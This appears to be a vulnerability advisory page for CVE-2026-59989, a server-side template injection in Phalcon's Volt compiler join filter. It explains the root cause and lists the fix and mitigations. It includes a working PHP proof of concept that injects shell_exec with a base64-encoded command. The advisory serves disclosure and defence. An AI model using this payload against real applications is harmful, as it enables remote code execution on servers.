CVE-2026-59989 — phalcon/cphalcon
Fix: phalcon/cphalcon@e434061CVE-2026-59989 is a Code Injection vulnerability in phalcon/cphalcon. A fix is available for phalcon/cphalcon — see the affected versions and patch details below.
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59989.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
phalcon/cphalconReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
<img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" />
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phalcon/cphalcon | all versions | 5.16.0composer require phalcon/cphalcon:^5.16.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phalcon/cphalcon, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phalcon/cphalcon to 5.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59989 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-59989 in your dependencies?
Find it across Packagist, including transitive dependencies.